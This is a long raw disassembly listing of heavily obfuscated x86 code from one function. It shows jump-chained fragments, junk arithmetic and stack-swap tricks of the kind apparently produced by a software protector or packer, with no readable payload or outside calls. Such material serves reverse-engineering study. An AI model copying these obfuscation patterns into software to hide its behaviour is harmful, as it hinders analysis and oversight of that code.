push esi jmp loc_5A5876 ; --------------------------------------------------------------------------- loc_591016: ; CODE XREF: sub_580566+1B5FEj mov [esp-42h+arg_38+2], edi push 59DCh mov [esp-3Eh+arg_34+2], ecx mov ecx, 59201139h push ecx pop edi pop ecx xor esi, edi mov edi, [esp-42h+arg_38+2] add esp, 4 jmp loc_5A3FDB ; --------------------------------------------------------------------------- loc_591039: ; CODE XREF: sub_580566+235A5j mov edi, 10557D8Ch push ebp push 2C1969ACh pop ebp jmp loc_59FA75 ; --------------------------------------------------------------------------- loc_59104A: ; CODE XREF: sub_580566+1549Fj mov dx, word ptr [esp-42h+arg_38+2] sub esp, 4 mov [esp-3Eh+arg_34+2], edi push edi push esp pop edi add edi, 4 sub edi, 4 xor edi, [esp-3Ah+arg_30+2] xor [esp-3Ah+arg_30+2], edi xor edi, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] jmp loc_5A581C ; --------------------------------------------------------------------------- loc_591074: ; CODE XREF: sub_580566+128F3j mov [esp-3Ah+arg_30+2], edi mov edi, esp push ebp push esi mov esi, 4 jmp loc_59ED6A ; --------------------------------------------------------------------------- loc_591085: ; CODE XREF: sub_580566+18783j mov al, bl pop ebx add dh, al pop eax sub dh, 83h xor cl, dh pop edx push 2731h mov [esp-3Ah+arg_30+2], ebx push edx mov dh, 0D0h or dh, 0Ah add dh, 7Bh add dh, 0F6h add dh, 0FAh mov bh, dh jmp loc_5A3D6A ; --------------------------------------------------------------------------- loc_5910AF: ; CODE XREF: sub_580566+2476Aj sub ebp, 0A6512055h jmp loc_596238 ; --------------------------------------------------------------------------- loc_5910BA: ; CODE XREF: sub_580566+215AAj sub edi, 0E59364Eh add edi, esi push eax mov eax, 0E59364Eh add edi, eax pop eax pop esi add ecx, edi push [esp-3Ah+arg_30+2] pop edi add esp, 4 add ecx, 2 xchg ecx, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] idiv cx push small 2816h jmp loc_59866D ; --------------------------------------------------------------------------- loc_5910EA: ; CODE XREF: sub_580566+22FCBj push edx mov edx, 40E5D8Ch add edi, 27E60924h add edi, edx sub edi, 27E60924h pop edx push edi pop esi pop edi jmp loc_59F05A ; --------------------------------------------------------------------------- loc_591107: ; CODE XREF: sub_580566+252FBj or eax, eax jz loc_59F872 push dword ptr [edi+1Ch] push [esp-3Ch+arg_34] pop ecx jmp loc_5947F9 ; --------------------------------------------------------------------------- loc_59111B: ; CODE XREF: sub_580566+1FF86j sub eax, 1EC2650h jmp loc_59987D ; --------------------------------------------------------------------------- loc_591125: ; CODE XREF: sub_580566+204BBj mov edx, [esp-3Ch+arg_34] jmp loc_59968D ; --------------------------------------------------------------------------- loc_59112D: ; CODE XREF: sub_580566+20BFAj shl edx, 1 not edx neg edx sub edx, 4D2548Dh jmp loc_5A0751 ; --------------------------------------------------------------------------- loc_59113E: ; CODE XREF: sub_580566+1CC02j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5987B4 ; --------------------------------------------------------------------------- loc_59114F: ; CODE XREF: sub_580566+14662j inc edi xor edi, 0B144A9Fh xor edi, 4722049Ch sub ebx, edi pop edi add ebx, esi push ebp mov ebp, 4C064726h add ebx, ebp mov ebp, [esp-38h+arg_30] add esp, 4 push [esp-3Ch+arg_34] pop esi jmp loc_5A59C1 ; --------------------------------------------------------------------------- loc_59117B: ; CODE XREF: sub_580566+2159Fj push ecx push esp pop ecx jmp loc_59155F ; --------------------------------------------------------------------------- loc_591183: ; CODE XREF: sub_580566+21238j add ebp, 4 xchg ebp, [esp-38h+arg_30] pop esp push ecx mov ecx, 1 add edi, 2FB80A22h add edi, ecx push esi jmp loc_59C1EB ; --------------------------------------------------------------------------- loc_5911A1: ; CODE XREF: sub_580566+241F4j push [esp-34h+arg_2C] mov edx, [esp-30h+arg_28] jmp loc_59E024 ; --------------------------------------------------------------------------- loc_5911AC: ; CODE XREF: sub_580566+1F49Ej push [esp-30h+arg_28] mov edi, [esp-2Ch+arg_24] add esp, 4 push ebp mov ebp, esp jmp loc_59DB4B ; --------------------------------------------------------------------------- loc_5911BD: ; CODE XREF: sub_580566+21594j mov edi, esi jmp loc_59E811 ; --------------------------------------------------------------------------- loc_5911C4: ; CODE XREF: sub_580566+18935j add edi, 54C72593h sub edi, edx sub edi, 54C72593h pop edx jmp loc_5A5046 ; --------------------------------------------------------------------------- loc_5911D8: ; CODE XREF: sub_580566+1C515j xor ebx, 5B8967FFh push edx mov edx, 7D0A6B59h xor ebx, edx mov edx, [esp-2Ch+arg_24] add esp, 4 sub ebx, 3DA03687h xor ebx, 15E7702Ah add ebx, 1162CAF8h sub ebp, ebx jmp loc_5A1CB3 ; --------------------------------------------------------------------------- loc_591205: ; CODE XREF: sub_580566+1A9E4j add ebp, 7E335069h add ebp, esi jmp loc_59C8A4 ; --------------------------------------------------------------------------- loc_591212: ; CODE XREF: sub_580566+21AD0j pop ecx xor eax, [esp-34h+arg_2C] jmp loc_59F99D ; --------------------------------------------------------------------------- loc_59121B: ; CODE XREF: sub_580566+24D90j add ebp, edi mov edi, [esp-34h+arg_2C] jmp loc_595B88 ; --------------------------------------------------------------------------- loc_591225: ; CODE XREF: sub_580566+1BF7Bj pop eax sub esp, 4 mov [esp-34h+arg_2C], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-34h+arg_2C] jmp loc_599FD8 ; --------------------------------------------------------------------------- loc_59123F: ; CODE XREF: sub_580566+13B26j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_591244: ; CODE XREF: sub_580566+12D9Dj mov [esp-34h+arg_2C], eax push ecx mov cl, dl jmp loc_5A3DCE ; --------------------------------------------------------------------------- loc_59124F: ; CODE XREF: sub_580566+22EC0j xor esi, eax jmp loc_597D16 ; --------------------------------------------------------------------------- loc_591256: ; CODE XREF: sub_580566+1DBDDj inc ebx neg ebx push eax mov eax, 5F2F7236h xor eax, 5E8371ACh jmp loc_5938B4 ; --------------------------------------------------------------------------- loc_591269: ; CODE XREF: sub_580566+1BD70j add ebp, 4 sub ebp, 4 xchg ebp, [esp-2Ch+arg_24] pop esp mov [esp-30h+arg_28], edi mov edi, 4 push 6B2Eh mov [esp-2Ch+arg_24], ebx mov ebx, 750812h sub ecx, ebx pop ebx add ecx, edi add ecx, 750812h mov edi, [esp-30h+arg_28] add esp, 4 sub esp, 4 mov [esp-30h+arg_28], esi jmp loc_596416 ; --------------------------------------------------------------------------- loc_5912AA: ; CODE XREF: sub_580566+1EAEFj add eax, 75175CAFh jmp loc_59CFEF ; --------------------------------------------------------------------------- loc_5912B4: ; CODE XREF: sub_580566+17E11j sub ebx, ecx jmp loc_5A2582 ; --------------------------------------------------------------------------- loc_5912BB: ; CODE XREF: sub_580566+1D332j xor ebp, ebx pop ebx jmp loc_5A1ACA ; --------------------------------------------------------------------------- loc_5912C3: ; CODE XREF: sub_580566+175A5j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5912C8: ; CODE XREF: sub_580566+15BC1j neg cl add cl, 0A2h add bl, cl pop ecx sub bl, dh sub bl, 37h mov edx, [esp-38h+arg_30] add esp, 4 xor ch, bl pop ebx push small 0BF0h mov word ptr [esp-3Eh+arg_34+2], ax push ebx mov bl, 85h push ecx mov cl, 0AEh xor bl, cl jmp loc_59DE29 ; --------------------------------------------------------------------------- loc_5912F6: ; CODE XREF: sub_580566+1892Aj mov edx, esp jmp loc_5A3ECA ; --------------------------------------------------------------------------- loc_5912FD: ; CODE XREF: sub_580566+1C11Fj push esp pop [esp-32h+arg_28+2] add [esp-36h+arg_2C+2], 4 mov eax, [esp-36h+arg_2C+2] push ecx mov ecx, esp jmp loc_59C5CF ; --------------------------------------------------------------------------- loc_591313: ; CODE XREF: sub_580566+1CA36j push [esp-32h+arg_28+2] jmp loc_5A57CB ; --------------------------------------------------------------------------- loc_59131B: ; CODE XREF: sub_580566+1304Bj sub esp, 4 jmp loc_5A3982 ; --------------------------------------------------------------------------- loc_591326: ; CODE XREF: sub_580566+1CAD8j xchg ecx, [esp-2Ah+arg_20+2] not ecx xchg ecx, [esp-2Ah+arg_20+2] pop edi sub esp, 4 jmp loc_5955E0 ; --------------------------------------------------------------------------- loc_591337: ; CODE XREF: sub_580566+122B3j mov [esp-2Ah+arg_20+2], esi push ebx mov ebx, 5845087Eh add ebx, 26354680h sub ebx, 7E7A4EFAh mov esi, ebx pop ebx add [esp-2Ah+arg_24+2], esi pop esi jmp loc_5A41E4 ; --------------------------------------------------------------------------- loc_591359: ; CODE XREF: sub_580566+1290Cj mov edi, [esp-2Eh+arg_24+2] add esp, 4 mov edi, esi pop esi jmp loc_59A913 ; --------------------------------------------------------------------------- loc_591367: ; CODE XREF: sub_580566+1B0E5j push edi push ebp jmp loc_599877 ; --------------------------------------------------------------------------- loc_59136E: ; CODE XREF: sub_580566+1201Bj sub ebp, eax pop eax mov edi, ebp push [esp-32h+arg_28+2] mov ebp, [esp-2Eh+arg_24+2] add esp, 4 jmp loc_593A6C ; --------------------------------------------------------------------------- loc_591381: ; CODE XREF: sub_580566+24476j add esp, 4 add edx, ecx pop ecx jmp loc_5A4FA0 ; --------------------------------------------------------------------------- push [esp-3Ah+arg_30+2] pop eax push eax push 429Fh mov [esp-32h+arg_28+2], esp jmp loc_597F43 ; --------------------------------------------------------------------------- loc_5913A1: ; CODE XREF: sub_580566+1E962j not edi and edi, 39BB6EDFh push ebx mov ebx, 2627E61h shr ebx, 6 sub ebx, 7ED1541Bh push ecx mov ecx, 677F3120h jmp loc_5A2B47 ; --------------------------------------------------------------------------- loc_5913C3: ; CODE XREF: sub_580566+12D13j push ebp mov ebp, 539727B0h dec ebp jmp loc_590D61 ; --------------------------------------------------------------------------- loc_5913CF: ; CODE XREF: sub_580566+16332j add eax, 6E005AE2h mov ecx, eax pop eax mov edx, [esp-2Ah+arg_20+2] add esp, 4 add ecx, edi push ebx mov ebx, 0 add ebx, ecx add [ebx], edx pop ebx push [esp-2Eh+arg_24+2] pop ecx push ecx push esp pop ecx jmp loc_594E54 ; --------------------------------------------------------------------------- loc_5913F6: ; CODE XREF: sub_580566+1C2E1j and esi, 6EAD2CAAh sub esi, 1C6EAF95h sub eax, esi pop esi jmp loc_593BE4 ; --------------------------------------------------------------------------- loc_59140A: ; CODE XREF: sub_580566+252A9j xor edx, 47A871B1h jmp loc_59F53F ; --------------------------------------------------------------------------- loc_591415: ; CODE XREF: sub_580566+19E31j mov esi, 5DC346CCh add ebx, esi pop esi jmp loc_5A2D32 ; --------------------------------------------------------------------------- loc_591422: ; CODE XREF: sub_580566+150D9j mov ebx, 2B4758E4h push 767Ch jmp loc_5A3C84 ; --------------------------------------------------------------------------- loc_591431: ; CODE XREF: sub_580566+1A8AFj mov [esp-2Eh+arg_24+2], ebp jmp loc_5A0395 ; --------------------------------------------------------------------------- loc_591439: ; CODE XREF: sub_580566+15B07j shr edx, 7 sub esp, 4 mov [esp-2Ah+arg_20+2], ebx jmp loc_59EBB0 ; --------------------------------------------------------------------------- loc_591447: ; CODE XREF: sub_580566+1B816j push ebp push esi mov esi, 54E54CF6h mov ebp, esi mov esi, [esp-22h+arg_1A] add esp, 4 and ecx, ebp pop ebp jmp loc_5A49EF ; --------------------------------------------------------------------------- loc_59145E: ; CODE XREF: sub_580566+1C28Fj not eax jmp loc_5A12A7 ; --------------------------------------------------------------------------- loc_591465: ; CODE XREF: sub_580566+21DA7j pop [esp-2Ah+arg_20+2] pop esp push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp-2Eh+arg_24+2] pop esp mov [esp-32h+arg_28+2], edi push ebp sub esp, 4 mov [esp-2Ah+arg_20+2], edx mov edx, 2BDF7A87h mov ebp, 2E31F2F4h sub ebp, edx pop edx and ebp, 7D5F260Eh sub ebp, 24B1497Bh shl ebp, 8 sub ebp, 0A0D68900h mov edi, ebp pop ebp and eax, edi push [esp-32h+arg_28+2] push [esp-2Eh+arg_24+2] push [esp-2Ah+arg_20+2] jmp loc_59F012 ; --------------------------------------------------------------------------- loc_5914BB: ; CODE XREF: sub_580566+1A463j mov edx, [esp+0] push ebx jmp loc_59BAB5 ; --------------------------------------------------------------------------- loc_5914C4: ; CODE XREF: sub_580566+1E451j xor eax, 92DFDFB0h jmp loc_5A2366 ; --------------------------------------------------------------------------- loc_5914CE: ; CODE XREF: sub_580566+13E36j push edx mov edx, esp jmp loc_5A13C1 ; --------------------------------------------------------------------------- loc_5914D6: ; CODE XREF: sub_580566+1EE4Aj sub eax, 0BFA8F54Ah or edi, eax pop eax sub edi, 1 xor edi, 537A7FFFh add eax, edi mov edi, [esp-22h+arg_1A] jmp loc_5A21DE ; --------------------------------------------------------------------------- loc_5914F4: ; CODE XREF: sub_580566+187DDj pop eax pop esi pop ebp jmp loc_59B9A3 ; --------------------------------------------------------------------------- loc_5914FC: ; CODE XREF: sub_580566+14042j xor esi, [esp-2Eh+arg_24+2] xor [esp-2Eh+arg_24+2], esi xor esi, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] jmp loc_5957E4 ; --------------------------------------------------------------------------- loc_59150D: ; CODE XREF: sub_580566+14811j mov [esp-2Eh+arg_24+2], ecx push edx mov edx, 24h push eax push edx sub [esp-22h+arg_1A], 6E005AE2h jmp loc_59CBD8 ; --------------------------------------------------------------------------- loc_591524: ; CODE XREF: sub_580566+1F7A6j mov ebp, 4FE842C0h jmp loc_596447 ; --------------------------------------------------------------------------- loc_59152E: ; CODE XREF: sub_580566+1E5B5j pop ebx add ecx, 4 xor ecx, [esp+0] xor [esp+0], ecx jmp loc_59E77B ; --------------------------------------------------------------------------- loc_591540: ; CODE XREF: sub_580566+2070Bj pop edx jmp loc_59E12A ; --------------------------------------------------------------------------- loc_591546: ; CODE XREF: sub_580566+14001j push eax jmp loc_5A0979 ; --------------------------------------------------------------------------- loc_59154C: ; CODE XREF: sub_580566+1B3D7j add esp, 4 add ebx, eax jmp loc_5A1615 ; --------------------------------------------------------------------------- loc_591556: ; CODE XREF: sub_580566+13DFEj pop esp add ecx, 2 jmp loc_594E1D ; --------------------------------------------------------------------------- loc_59155F: ; CODE XREF: sub_580566+10C18j add ecx, 4 sub ecx, 4 xchg ecx, [esp-38h+arg_30] pop esp mov [esp-3Ch+arg_34], ebp push eax mov eax, 4 mov ebp, eax pop eax jmp loc_5A30F7 ; --------------------------------------------------------------------------- loc_59157D: ; CODE XREF: sub_580566+1E9ABj push 3BD1h mov [esp-38h+arg_30], edi push ebx mov ebx, 6740112Fh mov edi, 0A7BEFCB4h push ebx mov ebx, 0A5524DEh add edi, 3D073F12h add edi, ebx sub edi, 3D073F12h pop ebx jmp loc_5A34F6 ; --------------------------------------------------------------------------- loc_5915AA: ; CODE XREF: sub_580566+1D628j add eax, edx jmp loc_59B602 ; --------------------------------------------------------------------------- loc_5915B1: ; CODE XREF: sub_580566+1E744j mov edx, 46FE2D63h jmp loc_59F3E4 ; --------------------------------------------------------------------------- loc_5915BB: ; CODE XREF: sub_580566+1F11Aj pop edx push ecx push [esp-34h+arg_30] pop ecx pop [esp-34h+arg_2C] jmp loc_5957D9 ; --------------------------------------------------------------------------- loc_5915CA: ; CODE XREF: sub_580566+2107Bj push ecx mov ecx, 4 push ecx pop edx jmp loc_59712E ; --------------------------------------------------------------------------- loc_5915D7: ; CODE XREF: sub_580566+1B90Bj push 3268h mov [esp-30h+arg_28], edx mov edx, 0D6B012FFh sub ebp, edx mov edx, [esp-30h+arg_28] add esp, 4 sub esi, ebp pop ebp push edi mov edi, 30694815h shl edi, 4 push ecx push edx mov edx, 4DAA6A83h mov ecx, 0FF59B2D2h jmp loc_59342F ; --------------------------------------------------------------------------- loc_59160C: ; CODE XREF: sub_580566+1A37Aj push esi mov esi, 5580362Ah sub esi, 79C04DC7h sub edi, esi pop esi sub ebx, edi mov edi, [esp-2Ch+arg_24] jmp loc_59C115 ; --------------------------------------------------------------------------- loc_591625: ; CODE XREF: sub_580566+25227j shl edi, 7 xor edi, 0EA145C35h xor esi, edi jmp loc_5939D6 ; --------------------------------------------------------------------------- loc_591635: ; CODE XREF: sub_580566+108ACj push 34ADh mov [esp-44h+arg_3C], esi jmp loc_592BEA ; --------------------------------------------------------------------------- loc_591642: ; CODE XREF: sub_580566+1CCC0j not al shr al, 4 shl al, 8 sub al, 73h jmp loc_59F5D2 ; --------------------------------------------------------------------------- loc_591651: ; CODE XREF: sub_580566+146E0j not esi xor esi, 286441B9h add eax, esi pop esi jmp loc_5A28CA ; --------------------------------------------------------------------------- loc_591661: ; CODE XREF: sub_580566+128BAj push eax jmp loc_59AB17 ; --------------------------------------------------------------------------- loc_591667: ; CODE XREF: sub_580566+1CC1Bj add esi, edi pop edi sub esi, 4 xchg esi, [esp-48h+arg_40] mov esp, [esp-48h+arg_40] mov [esp-48h+arg_40], esp push esi mov esi, 4 jmp loc_59F401 ; --------------------------------------------------------------------------- loc_591681: ; CODE XREF: sub_580566+21393j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 6C30h jmp loc_59CB3C ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- push edi mov edi, esp push edx jmp loc_593B4A ; --------------------------------------------------------------------------- loc_5916A1: ; CODE XREF: sub_580566+155D3j sub esi, ebx mov ebx, [esp-3Ch+arg_34] add esp, 4 jmp loc_5964E0 ; --------------------------------------------------------------------------- loc_5916B1: ; CODE XREF: sub_580566+16ACAj sub esp, 4 jmp loc_597FB3 ; --------------------------------------------------------------------------- loc_5916B9: ; CODE XREF: sub_580566+1D78Bj dec ecx xor ecx, 83CA8482h xor eax, ecx jmp loc_5A2E55 ; --------------------------------------------------------------------------- loc_5916C7: ; CODE XREF: sub_580566+24F46j or dh, 0C8h push edx not byte ptr [esp-38h+arg_30+1] pop edx sub dh, 0A4h push 3CA8h mov [esp-38h+arg_30], ecx mov ch, 0Eh add ch, 0D4h sub dh, ch pop ecx sub bl, dh jmp loc_591CCA ; --------------------------------------------------------------------------- loc_5916EA: ; CODE XREF: sub_580566+19875j push edx mov edx, 32804FA2h and edx, 1A3F1C94h shl edx, 6 add edx, 91B614D9h push edx sub [esp-34h+arg_2C], 702C54FAh pop eax add eax, 702C54FAh mov edx, [esp-38h+arg_30] add esp, 4 add eax, 0EE46CB2Bh sub esi, 4399290Bh add esi, eax jmp loc_598A5C ; --------------------------------------------------------------------------- loc_591725: ; CODE XREF: sub_580566+1FBC3j sub esp, 4 mov [esp-38h+arg_30], ecx jmp loc_5953DB ; --------------------------------------------------------------------------- loc_591730: ; CODE XREF: sub_580566+25461j xor ebx, [esp-38h+arg_30] xor [esp-38h+arg_30], ebx xor ebx, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] or byte ptr [esp-38h+arg_30], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_591745: ; CODE XREF: sub_580566+1B1C5j sub esp, 4 mov [esp-30h+arg_28], edx mov edx, 43487A37h push ecx mov ecx, 0BCB785CDh add edx, ecx jmp loc_59A04D ; --------------------------------------------------------------------------- loc_591760: ; CODE XREF: sub_580566+1B6ADj push esp pop edi push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 4 xchg edi, [esp-2Ch+arg_24] pop esp add ebx, ecx pop ecx push ecx mov ecx, 38530135h and ebx, ecx pop ecx push ebp mov ebp, 223424E0h neg ebp shr ebp, 3 jmp loc_598408 ; --------------------------------------------------------------------------- loc_591791: ; CODE XREF: sub_580566+1EFBBj not bl push ecx mov ch, 0B6h xor ch, 0EBh or bl, ch pop ecx add bl, 99h xor bl, 0FBh sub al, bl jmp loc_5A0100 ; --------------------------------------------------------------------------- loc_5917A9: ; CODE XREF: sub_580566+1958Aj xchg ebp, [esp-30h+arg_28] pop esp jmp loc_59D4ED ; --------------------------------------------------------------------------- loc_5917B2: ; CODE XREF: sub_580566+1E279j push esi jmp loc_59686D ; --------------------------------------------------------------------------- loc_5917B8: ; CODE XREF: sub_580566+1500Aj push 23055B3Fh pop edx and edx, 156B46BBh jmp loc_5A35B9 ; --------------------------------------------------------------------------- loc_5917C9: ; CODE XREF: sub_580566+1AA7Fj pop ebx sub esi, 0F39304ABh push esi pop ebp mov esi, [esp-34h+arg_2C] add esp, 4 shr ebp, 3 push ebx jmp loc_59ED01 ; --------------------------------------------------------------------------- loc_5917E1: ; CODE XREF: sub_580566+1BAB1j sub esp, 4 mov [esp-30h+arg_28], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-30h+arg_28] mov esp, [esp-30h+arg_28] jmp loc_5A3E51 ; --------------------------------------------------------------------------- loc_5917FC: ; CODE XREF: sub_580566+1B8C1j pop ebx add esp, 4 push esi mov esi, 296B730Bh sub ecx, esi pop esi push esi mov esi, 684B1220h or esi, 4E896E9Eh sub esi, 4E714B8Eh xor esi, 3C72251Fh add ecx, esi pop esi sub ecx, edi jmp loc_5A0F02 ; --------------------------------------------------------------------------- loc_59182B: ; CODE XREF: sub_580566+1E5D8j add esp, 4 jmp loc_5A1D3C ; --------------------------------------------------------------------------- loc_591836: ; CODE XREF: sub_580566+214EDj inc esi neg esi sub esi, 554D519Dh sub edi, esi jmp loc_5A4370 ; --------------------------------------------------------------------------- loc_591846: ; DATA XREF: sub_580566+10373o push dword ptr [edi+1Ch] popf pop eax sbb [esp-40h+arg_38], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_591854: ; CODE XREF: sub_580566+1739Bj add ebx, 54EA3E07h add ebx, eax push ebp mov ebp, 0B3E7C2Ch inc ebp jmp loc_5A596B ; --------------------------------------------------------------------------- loc_591868: ; CODE XREF: sub_580566+19250j mov ebx, [esp-38h+arg_30] add esp, 4 push [esp-3Ch+arg_34] pop ecx add esp, 4 or dl, 35h neg dl jmp loc_5932FE ; --------------------------------------------------------------------------- loc_591885: ; CODE XREF: sub_580566+1221Aj mov edx, 4 push edx sub [esp-3Ch+arg_34], 4B9F56B8h pop ebp jmp loc_599233 ; --------------------------------------------------------------------------- loc_591898: ; CODE XREF: sub_580566+1EA38j add esp, 4 add edx, ebx sub edx, 51DF4E24h pop ebx xchg edx, [esp-48h+arg_40] pop esp jmp loc_599148 ; --------------------------------------------------------------------------- loc_5918B0: ; CODE XREF: sub_580566+13572j neg edx and edx, 1E3A3558h add edx, 0F1C5CFBCh mov edi, edx jmp loc_59C422 ; --------------------------------------------------------------------------- loc_5918C5: ; CODE XREF: sub_580566+1238Bj mov dl, al jmp loc_59A402 ; --------------------------------------------------------------------------- loc_5918CC: ; CODE XREF: sub_580566+1F58Cj pop ecx neg edx not edx sub edx, 0D8C9B33Ch sub eax, edx pop edx jmp loc_590B5F ; --------------------------------------------------------------------------- loc_5918DF: ; CODE XREF: sub_580566+15E2Aj pop esp push eax mov eax, esp add eax, 4 push ebx jmp loc_5952A6 ; --------------------------------------------------------------------------- loc_5918EE: ; CODE XREF: sub_580566+15EEAj mov ecx, 3EB30782h add ebp, ecx pop ecx jmp loc_594B06 ; --------------------------------------------------------------------------- loc_5918FB: ; CODE XREF: sub_580566+14708j not ecx add ecx, 1B9D73Ah add ebx, ecx pop ecx sub eax, 34E868CAh add eax, ebx add eax, 34E868CAh pop ebx add eax, 2 xor eax, [esp-5Ch+arg_52+2] xor [esp-5Ch+arg_52+2], eax xor eax, [esp-5Ch+arg_52+2] mov esp, [esp-5Ch+arg_52+2] push 47Ch mov [esp-58h+arg_4E+2], ebx mov ebx, esp sub esp, 4 mov [esp+0], eax mov eax, 4 add ebx, 0AE803C1h jmp loc_597813 ; --------------------------------------------------------------------------- loc_591947: ; CODE XREF: sub_580566+13370j xor ebx, ebp pop ebp add ebx, 524942E8h inc ebx or ebx, 430732B5h push ecx jmp loc_597642 ; --------------------------------------------------------------------------- loc_59195D: ; CODE XREF: sub_580566+11FF9j or edx, eax shl edx, 1 push 15BFh mov [esp-50h+arg_48], ebx push 0FFFFFFFFh mov ebx, [esp-4Ch+arg_44] add esp, 4 sub [edi+24h], ebx push [esp-50h+arg_48] jmp loc_5986CC ; --------------------------------------------------------------------------- loc_591982: ; CODE XREF: sub_580566+1B324j pop edi jmp loc_5A176B ; --------------------------------------------------------------------------- loc_591988: ; CODE XREF: sub_580566+14675j pop ecx jmp loc_597047 ; --------------------------------------------------------------------------- loc_59198E: ; CODE XREF: sub_580566+1BB7Fj pop ecx push cx push ebx push edx mov dh, 8 jmp loc_596586 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-4Eh+arg_44+2] sub esp, 4 jmp loc_5A3F8A ; --------------------------------------------------------------------------- loc_5919A9: ; CODE XREF: sub_580566+21015j or eax, ecx pop ecx neg eax push ebx mov ebx, 70F8424Bh shl ebx, 3 jmp loc_5A13DF ; --------------------------------------------------------------------------- loc_5919BC: ; CODE XREF: sub_580566+189C5j mov edi, esp add edi, 4 jmp loc_59B355 ; --------------------------------------------------------------------------- loc_5919C9: ; CODE XREF: sub_580566+12EC4j push esp jmp loc_59A160 ; --------------------------------------------------------------------------- loc_5919CF: ; DATA XREF: sub_580566+10272o push [esp-46h+arg_3C+2] pop eax push 4144h mov [esp-42h+arg_38+2], ebx push esp push [esp-3Eh+arg_34+2] pop ebx push edx mov edx, esp push eax jmp loc_5A5327 ; --------------------------------------------------------------------------- loc_5919E9: ; CODE XREF: sub_580566+15CCDj pop ebp sub ebp, ebx jmp loc_59864F ; --------------------------------------------------------------------------- loc_5919F1: ; CODE XREF: sub_580566+1A373j mov [esp-3Ah+arg_30+2], ebp jmp loc_59AFEA ; --------------------------------------------------------------------------- loc_5919F9: ; CODE XREF: sub_580566+2566Fj add esi, eax jmp loc_59621C ; --------------------------------------------------------------------------- loc_591A00: ; CODE XREF: sub_580566+18A5Aj push esi mov esi, esp jmp loc_59E1CD ; --------------------------------------------------------------------------- loc_591A08: ; CODE XREF: sub_580566+1A899j push ebp mov ebp, 31D03121h jmp loc_593CDE ; --------------------------------------------------------------------------- loc_591A13: ; CODE XREF: sub_580566+19189j mov edx, 33AE77DDh sub ebp, edx pop edx sub esp, 4 mov [esp-32h+arg_28+2], ecx jmp loc_59D369 ; --------------------------------------------------------------------------- loc_591A29: ; CODE XREF: sub_580566+1601Bj push 799h jmp loc_59CF01 ; --------------------------------------------------------------------------- loc_591A33: ; CODE XREF: sub_580566+23586j mov [esp-2Eh+arg_24+2], edx jmp loc_593F21 ; --------------------------------------------------------------------------- loc_591A3B: ; CODE XREF: sub_580566+2291Fj mov [esp-2Eh+arg_24+2], ebx mov bl, 3Dh add bl, 1 jmp loc_59F633 ; --------------------------------------------------------------------------- loc_591A48: ; CODE XREF: sub_580566+1406Fj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-2Eh+arg_24+2] pop esp jmp loc_5998D8 ; --------------------------------------------------------------------------- loc_591A5C: ; CODE XREF: sub_580566+1D360j add ecx, eax mov eax, [esp-32h+arg_28+2] add esp, 4 jmp loc_592375 ; --------------------------------------------------------------------------- loc_591A6C: ; CODE XREF: sub_580566+107F6j push eax push esp pop eax push ebx mov ebx, 1ED8477Ah push ecx push eax mov eax, 0E127B88Ah mov ecx, eax pop eax add ebx, ecx jmp loc_590B25 ; --------------------------------------------------------------------------- loc_591A86: ; CODE XREF: sub_580566+187CAj add edi, 4 add edi, 4 push edi push [esp-3Ch+arg_38] pop edi pop [esp-3Ch+arg_34] mov esp, [esp-40h+arg_38] push 5DA0h mov [esp-3Ch+arg_34], ebp mov ebp, 256F2916h shl ebp, 5 add ebp, 0B84B0B4Fh shr ebp, 4 push edi mov edi, 25C4116Ch jmp loc_597EAD ; --------------------------------------------------------------------------- loc_591ABF: ; CODE XREF: sub_580566+19FA2j mov [esp-38h+arg_30], esi push 242642Ch pop esi push ebx mov ebx, 0EA309AEh sub ebx, 0F3AAE00Ah and esi, ebx pop ebx and esi, 1AF222A4h jmp loc_59B330 ; --------------------------------------------------------------------------- loc_591AE2: ; CODE XREF: sub_580566+24CDBj push esp mov edi, [esp-34h+arg_2C] add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp-38h+arg_30] pop esp sub esp, 4 mov [esp-38h+arg_30], eax mov eax, 65440DBCh jmp loc_5A4510 ; --------------------------------------------------------------------------- loc_591B0F: ; CODE XREF: sub_580566+12A51j mov al, 0F6h sub bl, al mov ax, word ptr [esp-38h+arg_30] jmp loc_591F52 ; --------------------------------------------------------------------------- loc_591B1C: ; CODE XREF: sub_580566+2245Bj pop edi shl ecx, 7 neg ecx xor ecx, 4309A732h sub edi, ecx mov ecx, [esp-3Ch+arg_34] jmp loc_59C403 ; --------------------------------------------------------------------------- loc_591B32: ; CODE XREF: sub_580566+1D411j add dl, ah mov eax, [esp-3Ch+arg_34] add esp, 4 xor dl, 1Fh jmp loc_594562 ; --------------------------------------------------------------------------- loc_591B42: ; CODE XREF: sub_580566+1D37Fj add eax, 4 add eax, 4 jmp loc_59E9EF ; --------------------------------------------------------------------------- loc_591B4F: ; CODE XREF: sub_580566+2165Ej pop ebx xchg edi, [esp-44h+arg_3C] pop esp mov [esp-48h+arg_40], esi mov esi, 0F9B197Bh shl esi, 1 jmp loc_5A02AA ; --------------------------------------------------------------------------- loc_591B63: ; CODE XREF: sub_580566+15E85j push ecx mov ecx, 0FFFFFFFFh sub esi, 3F9568C9h add esi, 4E907A38h sub esi, ecx jmp loc_5934C8 ; --------------------------------------------------------------------------- loc_591B7C: ; CODE XREF: sub_580566+1A3A8j push ecx neg [esp-40h+arg_38] pop ecx shr ecx, 2 shl ecx, 4 push edi push esi push 25E63050h pop esi neg esi sub esi, 0A2B5D722h mov edi, esi jmp loc_597DF0 ; --------------------------------------------------------------------------- loc_591B9E: ; CODE XREF: sub_580566+1947Bj sub edi, 51EF6E66h jmp loc_5924B4 ; --------------------------------------------------------------------------- 